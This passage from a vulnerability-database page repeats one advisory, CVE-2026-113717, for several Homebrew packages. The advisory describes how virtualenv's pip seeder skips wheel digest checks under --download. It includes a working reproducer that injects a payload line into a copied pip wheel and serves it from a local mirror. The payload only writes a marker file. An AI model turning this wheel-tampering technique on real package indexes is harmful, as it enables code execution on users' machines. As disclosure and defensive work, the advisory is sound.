verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-hatch-CVE-2026-113717",
      "modified": "2026-11-19T10:09:46Z",
      "published": "2026-10-26T09:41:42Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-NOX-CVE-2026-113717 (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:50 – Updated: 2026-11-19 10:29 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "nox",
            "purl": "pkg:brew/nox"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2026.8.17_1"
                },
                {
                  "fixed": "2026.10.20"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-nox-CVE-2026-113717",
      "modified": "2026-11-19T10:29:00Z",
      "published": "2026-10-26T09:50:41Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-PDM-CVE-2026-113717 (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:36 – Updated: 2026-11-19 09:17 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

